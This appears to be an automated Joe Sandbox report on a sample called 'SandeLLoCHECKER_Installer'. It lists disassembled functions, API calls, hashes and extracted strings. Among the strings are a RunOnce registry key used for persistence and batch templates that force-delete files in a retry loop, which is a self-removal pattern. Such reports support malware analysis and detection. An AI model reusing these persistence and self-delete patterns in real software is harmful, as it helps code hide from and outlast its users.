Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Close$EnvironmentNameUserVariable$ErrorLast
String ID: Software$Software\Microsoft\Windows\CurrentVersion\RunOnce$UserDomain
API String ID: 938064350-4079418357
Opcode ID: bcdfa7985d6a73df2f8da45889e2cee7769d70851480bc9125dce3d3815461c0
Instruction ID: 1b2f2302fcd8d734716af91f79a726577a55d1744bda9caad25f4aadd7f4496b
Opcode Fuzzy Hash: bcdfa7985d6a73df2f8da45889e2cee7769d70851480bc9125dce3d3815461c0
Instruction Fuzzy Hash: C1225A70D00249DFDF14DFA8C999BEEBBB4EF14304F208269E415A7291DB746A88CF91

Function 0095BF10 Relevance: 16.6, APIs: 11, Instructions: 117
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0095BF58
OpenProcessToken.ADVAPI32(00000000,00000008,00000000), ref: 0095BF65
GetLastError.KERNEL32 ref: 0095BF6F
GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?), ref: 0095BF99
GetLastError.KERNEL32 ref: 0095BF9F
GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,?,?,?), ref: 0095BFC5
AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00000012,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0095BFF8
EqualSid.ADVAPI32(00000000,?), ref: 0095C007
FreeSid.ADVAPI32(?), ref: 0095C016
CloseHandle.KERNEL32(00000000), ref: 0095C050

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Token$ErrorInformationLastProcess$AllocateCloseCurrentEqualFreeHandleInitializeOpen
String ID:
API String ID: 695978879-0
Opcode ID: 7f9cd9618c469662e64e50daf8007e12496c14b4951bb69e6b1ee1bf820d009b
Instruction ID: 55767ce231d856991f59d53b617df521a47e83a03ffe50dc6a9d2ac47cfd407f
Opcode Fuzzy Hash: 7f9cd9618c469662e64e50daf8007e12496c14b4951bb69e6b1ee1bf820d009b
Instruction Fuzzy Hash: 5A4129B1900209EFDF10DFA5CD49BEEBBB8EF09315F104025E811B3290EB799909DB64

Function 009866E0 Relevance: 15.8, APIs: 10, Instructions: 825
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0084ABE0: GetProcessHeap.KERNEL32 ref: 0084AC35
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084AC67
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084ACF2

CloseHandle.KERNEL32(80004005,C7BA013E,74DF34C0,00000000), ref: 009881E1

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Init_thread_footer$CloseHandleHeapProcess
String ID:
API String ID: 2534622057-0
Opcode ID: 70c394e63fe736efa25b30e9726ea3f2e9b863392db2f366440ccc312ff8aa13
Instruction ID: 0133c5eec1cd49ca2a4a6c08831343f8325f138cd642285f58a10b9bd9e2a234
Opcode Fuzzy Hash: 70c394e63fe736efa25b30e9726ea3f2e9b863392db2f366440ccc312ff8aa13
Instruction Fuzzy Hash: 8682CBB0904658CFDB20DF68CD4479EBBB4AF46314F2482D9D548AB382DB749E85CF91

Function 009689C0 Relevance: 7.8, APIs: 5, Instructions: 315COMMON

Download Yara Rule

APIs

LoadStringW.USER32(?,00000000,?,00000100), ref: 00968ABC
LoadStringW.USER32(?,00000000,?,00000001), ref: 00968BDD

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 2bce51bea004eb438d1073bdf79345b1ba8a937758099cc6417f3b700bd53032
Instruction ID: b858472d6435a87d6a81fb6df39993dd31bd6a4f9be6cbf8f145f747afe4b250
Opcode Fuzzy Hash: 2bce51bea004eb438d1073bdf79345b1ba8a937758099cc6417f3b700bd53032
Instruction Fuzzy Hash: 06C18E71D00249DBDB04DFA8CD45BEEBBB5FF44304F148329E415AB280EB786A85CB91

Function 00992D90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 125COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00992E6A

Strings

\, xrefs: 00992E0E
\, xrefs: 00992DE4
\, xrefs: 00992DEC

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: DiskFreeSpace
String ID: \$\$\
API String ID: 1705453755-3791832595
Opcode ID: 117d2dccee2cd864cb2b8bcc41c8ef71172182aa199b5683cb5a86cd9760591d
Instruction ID: 9522544773dc387b097db8470e0a0c97d2450cca7dcfe051cb256aa8db3b62a0
Opcode Fuzzy Hash: 117d2dccee2cd864cb2b8bcc41c8ef71172182aa199b5683cb5a86cd9760591d
Instruction Fuzzy Hash: 0741D122E04315DBCF30DFA88484AABB3E8FF98354F154A2EE8C897140E7208DC583C6

Function 0091D900 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 228libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000105), ref: 0091D941

Part of subcall function 0084ABE0: GetProcessHeap.KERNEL32 ref: 0084AC35
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084AC67
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084ACF2

Part of subcall function 0084A190: FindResourceW.KERNEL32(00000000,?,00000006,00000000,00000000,00000000,0084A308,-00000010,?,00000000), ref: 0084A1B3

LoadLibraryExW.KERNEL32(?,00000000,00000000,00A7402D,000000FF), ref: 0091DA14

Strings

UxTheme.dll, xrefs: 0091D91C, 0091D9EF, 0091D9F0, 0091DA84

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Init_thread_footer$DirectoryFindHeapLibraryLoadProcessResourceSystem
String ID: UxTheme.dll
API String ID: 2586271605-352951104
Opcode ID: cc8de62d3ba334beaf691845356f28f3e4dd0b41675c8e48d7f520fbd5c36968
Instruction ID: f6576cd75a6a1bf4bfe01be96208466e727a8f799e237cd6cb9fdda9faf55e3f
Opcode Fuzzy Hash: cc8de62d3ba334beaf691845356f28f3e4dd0b41675c8e48d7f520fbd5c36968
Instruction Fuzzy Hash: 24A1ACB0601649EFE714CF68C818BDABBF4FF04318F24865DD4199B681D7BAA619CF81

Function 009A0970 Relevance: 3.1, APIs: 2, Instructions: 86filepipeCOMMON

Download Yara Rule

APIs

CreateNamedPipeW.KERNEL32(?,00000003,00000006,000000FF,00007F90,00007F90,00001388,00000000,?,C7BA013E,C7BA013E,?,?,?,?,00000000), ref: 009A09F9
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,00000000,00000000,?,C7BA013E,C7BA013E,?,?,?,?,00000000,00A8BD55), ref: 009A0A1A

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Create$FileNamedPipe
String ID:
API String ID: 1328467360-0
Opcode ID: f877811203bf0ba5d115a1b3a30c28f7e44d486a23518ec9584a8c970c3857ae
Instruction ID: df6e983f932a30340201bbaa5b6dd51d850e4b3958c8e61738cd29835716bf90
Opcode Fuzzy Hash: f877811203bf0ba5d115a1b3a30c28f7e44d486a23518ec9584a8c970c3857ae
Instruction Fuzzy Hash: E3310631A84745BFE731CF14CC05B9ABBA8EB01730F10826EF9A9976D0DB71A940CB94

Function 0087BBA0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

__set_se_translator.LIBVCRUNTIME ref: 0087BBB8
SetUnhandledExceptionFilter.KERNEL32(0095F970), ref: 0087BBCE

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: ExceptionFilterUnhandled__set_se_translator
String ID:
API String ID: 2480343447-0
Opcode ID: 3be488da31cd116897f58f4c15ab916d3c022e0061535c5cb882f279e64a3ede
Instruction ID: c46ae0b58e5b2406b3b6eff8f647bb5ed8e1ecbdbd448ffcfa45379c9ad17006
Opcode Fuzzy Hash: 3be488da31cd116897f58f4c15ab916d3c022e0061535c5cb882f279e64a3ede
Instruction Fuzzy Hash: 91E02622A04340BECA10D360AC09F4E3F50FBD2B25F088065FA0053161CB71984883A1

Function 009AAE10 Relevance: 1.5, APIs: 1, Instructions: 49comCOMMON

Download Yara Rule

APIs

Part of subcall function 009659D0: __Init_thread_footer.LIBCMT ref: 00965AB0

CoCreateInstance.COMBASE(00AAA0D8,00000000,00000001,00AC75E0,000000B0), ref: 009AAE8E

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CreateInit_thread_footerInstance
String ID:
API String ID: 3436645735-0
Opcode ID: 3bf8286a03d214d457d0f33b939026baa39940147af94f66505ca875e4876fd4
Instruction ID: d06907b79a5979de670c73240e446ad03e77e5a8575db5e92b6459c605f911a2
Opcode Fuzzy Hash: 3bf8286a03d214d457d0f33b939026baa39940147af94f66505ca875e4876fd4
Instruction Fuzzy Hash: 56118B71604705EBD7208F59D805B5ABBF8FB45B20F204A5EE8259B6C0D7BA6904CB91

Function 009A69A0 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Init_thread_footer$CreateHeapInstanceProcess
String ID:
API String ID: 3807588171-0
Opcode ID: 2216afe483a9f6fc6eb2c86e8ed06ab4aa8e448fade62e28007a7e3a3f5408d2
Instruction ID: 1cc06f728dd4d9ed44128e54b98791a189a1f3fc7a5568aecb7f307d6bf08ad6
Opcode Fuzzy Hash: 2216afe483a9f6fc6eb2c86e8ed06ab4aa8e448fade62e28007a7e3a3f5408d2
Instruction Fuzzy Hash: 656134B0504B48CFE710CF28C50879ABBF0FF55318F148A5CD58A9B782D7B9A609CB91

Function 009759B0 Relevance: 37.4, APIs: 11, Strings: 10, Instructions: 633libraryloaderCOMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?,SystemFolder,0000000C,?,?,?), ref: 00975BB3
GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00975CAE
GetWindowsDirectoryW.KERNEL32(?,00000104,WindowsFolder,0000000D,?,?,?), ref: 00975DA6
GetWindowsDirectoryW.KERNEL32(?,00000104,WindowsVolume,0000000D,?,?,?), ref: 00975E85
GetModuleFileNameW.KERNEL32(00000000,?,00000104,WindowsVolume,0000000D,?,?,?), ref: 00975FC1
SHGetSpecialFolderLocation.SHELL32(00000000,?,WindowsVolume,0000000D,?,?,?), ref: 009760A2
__Init_thread_footer.LIBCMT ref: 00976116
LoadLibraryW.KERNEL32(shfolder.dll,?,?,?), ref: 0097612C
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0097615E
SHGetPathFromIDListW.SHELL32(?,?), ref: 00976213
SHGetMalloc.SHELL32(00000000), ref: 0097622C

Part of subcall function 0084A8A0: RtlAllocateHeap.NTDLL(?,00000000,?,C7BA013E,00000000,00A3DE90,000000FF,?,?,00B277EC,?,009A5D66,8000000B,C7BA013E), ref: 0084A8EA

Strings

ProgramW6432, xrefs: 00975A49
WindowsFolder, xrefs: 00975D33, 00975D48, 00975D52
SHGetFolderPathW, xrefs: 00976158
System32Folder, xrefs: 00975C3B, 00975C50, 00975C5A
SETUPEXEDIR, xrefs: 00975F6E
TempFolder, xrefs: 00975EB2
shfolder.dll, xrefs: 00976127
ProgramFiles64Folder, xrefs: 009759EE
WindowsVolume, xrefs: 00975E14, 00975E29, 00975E33
SystemFolder, xrefs: 00975B23, 00975B38, 00975B42

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Directory$FolderPathWindows$AddressAllocateFileFromHeapInit_thread_footerLibraryListLoadLocationMallocModuleNameProcSpecialSystem
String ID: ProgramFiles64Folder$ProgramW6432$SETUPEXEDIR$SHGetFolderPathW$System32Folder$SystemFolder$TempFolder$WindowsFolder$WindowsVolume$shfolder.dll
API String ID: 2816963309-2142986682
Opcode ID: 999f91d569947202d129c8e51b1a6c1b9ddf204d175ffe209b939b8f9873523e
Instruction ID: 472c3dbfa7645c6c9eb5802823d8bf32ac6ef9382beafcf2bdfbd2c58d7b50f9
Opcode Fuzzy Hash: 999f91d569947202d129c8e51b1a6c1b9ddf204d175ffe209b939b8f9873523e
Instruction Fuzzy Hash: E9321672600A059BDB68DF28CC55BBAB3B9FF50300F1582ACD51ADB292EF719E41CB51

Function 009478F0 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 327
libraryloaderfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0084ABE0: GetProcessHeap.KERNEL32 ref: 0084AC35
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084AC67
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084ACF2

MoveFileW.KERNEL32(?,?), ref: 00947A6A
GetModuleHandleW.KERNEL32(kernel32,?), ref: 00947AAC
GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 00947AF4
GetProcAddress.KERNEL32(00000000,SetDllDirectory), ref: 00947B4C
__Init_thread_footer.LIBCMT ref: 00947B5C
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00947BA4
__Init_thread_footer.LIBCMT ref: 00947B04

Part of subcall function 00A16258: EnterCriticalSection.KERNEL32(00B2FE4C,?,?,0084ACF7,00B30A7C,00A9D9D0), ref: 00A16262
Part of subcall function 00A16258: LeaveCriticalSection.KERNEL32(00B2FE4C,?,0084ACF7,00B30A7C,00A9D9D0), ref: 00A16295
Part of subcall function 00A16258: RtlWakeAllConditionVariable.NTDLL ref: 00A1630C

__Init_thread_footer.LIBCMT ref: 00947BB4

Part of subcall function 0091D900: GetSystemDirectoryW.KERNEL32(?,00000105), ref: 0091D941

Strings

@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" :try rd "%s" if exist "%s" goto try%%SystemRoot%%\System32\attrib.exe -r "%s" del "%s" | cls, xrefs: 00947967, 0094796F
@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" SET count=0 :try %%SystemRoot%%\System32\timeout.exe 5 SET /a count=%%count%%+1del "%s" if %%count%% GTR %lu goto breakif exist "%s" goto try:break %%SystemRoot%%\System32\attrib.exe -r ", xrefs: 00947987
SetSearchPathMode, xrefs: 00947AEE
SetDefaultDllDirectories, xrefs: 00947B9E
kernel32, xrefs: 00947AA7
@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" SET count=0 :try %%SystemRoot%%\System32\timeout.exe 5 SET /a count=%%count%%+1rd "%s" if %%count%% GTR %lu goto breakif exist "%s" goto try:break %%SystemRoot%%\System32\attrib.exe -r ", xrefs: 00947980, 0094798F
@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" :try del "%s" if exist "%s" goto try%%SystemRoot%%\System32\attrib.exe -r "%s" del "%s" | cls, xrefs: 00947962
kernel32.dll, xrefs: 00947CAF
SetDllDirectory, xrefs: 00947B46

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Init_thread_footer$AddressProc$CriticalSection$ConditionDirectoryEnterFileHandleHeapLeaveModuleMoveProcessSystemVariableWake
String ID: @echo off %%SystemRoot%%\System32\attrib.exe -r "%s" :try del "%s" if exist "%s" goto try%%SystemRoot%%\System32\attrib.exe -r "%s" del "%s" | cls$@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" :try rd "%s" if exist "%s" goto try%%SystemRoot%%\System32\attrib.exe -r "%s" del "%s" | cls$@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" SET count=0 :try %%SystemRoot%%\System32\timeout.exe 5 SET /a count=%%count%%+1rd "%s" if %%count%% GTR %lu goto breakif exist "%s" goto try:break %%SystemRoot%%\System32\attrib.exe -r "$@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" SET count=0 :try %%SystemRoot%%\System32\timeout.exe 5 SET /a count=%%count%%+1del "%s" if %%count%% GTR %lu goto breakif exist "%s" goto try:break %%SystemRoot%%\System32\attrib.exe -r "$SetDefaultDllDirectories$SetDllDirectory$SetSearchPathMode$kernel32$kernel32.dll
API String ID: 3437638698-3455668873
Opcode ID: 21b41434167619abe3e8a3a1f92e0e08d02725a9b2698c3cb491744200d18f19
Instruction ID: 28dec3916109d6a89fa6dd1b052ae8c0bca33921a6098ab9374dadcb7c9fd6fd
Opcode Fuzzy Hash: 21b41434167619abe3e8a3a1f92e0e08d02725a9b2698c3cb491744200d18f19
Instruction Fuzzy Hash: 0EE13EB0901249EFDB20DF68CC49FDEBBB4FF45318F558259E8189B292D7719A08CB51

Function 0097BCE0 Relevance: 25.5, APIs: 10, Strings: 4, Instructions: 1007threadCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 0097BEB0
SetLastError.KERNEL32(0000000E), ref: 0097BECD
GetCurrentThreadId.KERNEL32 ref: 0097BEE5
EnterCriticalSection.KERNEL32(00B3683C), ref: 0097BF02
LeaveCriticalSection.KERNEL32(00B3683C), ref: 0097BF25
DialogBoxParamW.USER32(000007D0,00000000,008BA230,00000000), ref: 0097BF42
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,?), ref: 0097C0F4
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,?,00000000,00000000), ref: 0097C128

Part of subcall function 00949600: MultiByteToWideChar.KERNEL32(00000003,00000000,00986984,000000FF,00000000,00000000,00000000,00AAC2BE,?,00986984,00AAC2BE), ref: 00949618
Part of subcall function 00949600: MultiByteToWideChar.KERNEL32(00000003,00000000,00986984,000000FF,?,-00000001,?,00986984,00AAC2BE), ref: 0094964A

SetEvent.KERNEL32(?,?,00000000,?,00000001,?,?), ref: 0097C2FD
SetEvent.KERNEL32(?,?,00000000,?,?), ref: 0097C36F

Part of subcall function 009891C0: DeleteFileW.KERNEL32(?,?,00000000,?,C7BA013E,80004005,?,00000000,?,?,C7BA013E,?,00000000), ref: 009891EB

Part of subcall function 0084ABE0: GetProcessHeap.KERNEL32 ref: 0084AC35
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084AC67
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084ACF2

Strings

FILES.7z, xrefs: 0097C593
v, xrefs: 0097BF25
Code returned to Windows by setup:, xrefs: 0097C9E1
Advinst_Extract_, xrefs: 0097C08B, 0097C0A0, 0097C0AA

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: ByteCharMultiWide$CriticalEventInit_thread_footerSection$ActiveCurrentDeleteDialogEnterErrorFileHeapLastLeaveParamProcessThreadWindow
String ID: v$Advinst_Extract_$Code returned to Windows by setup:$FILES.7z
API String ID: 2923632737-2516696193
Opcode ID: e57075c808f253089d2c2a2073fd22259485bee6913390efca30d0126cd0cbe1
Instruction ID: abee14147be664230b2c1b779bbd220da4280207acc787f0d04125ebb7000261
Opcode Fuzzy Hash: e57075c808f253089d2c2a2073fd22259485bee6913390efca30d0126cd0cbe1
Instruction Fuzzy Hash: C992C171900249DFDB14DBA8CC49BDEBBB8FF45314F1482A9E409AB292DB749E44CF91

Function 0097C020 Relevance: 25.3, APIs: 3, Strings: 11, Instructions: 774COMMON

Download Yara Rule

APIs

Part of subcall function 0084ABE0: GetProcessHeap.KERNEL32 ref: 0084AC35
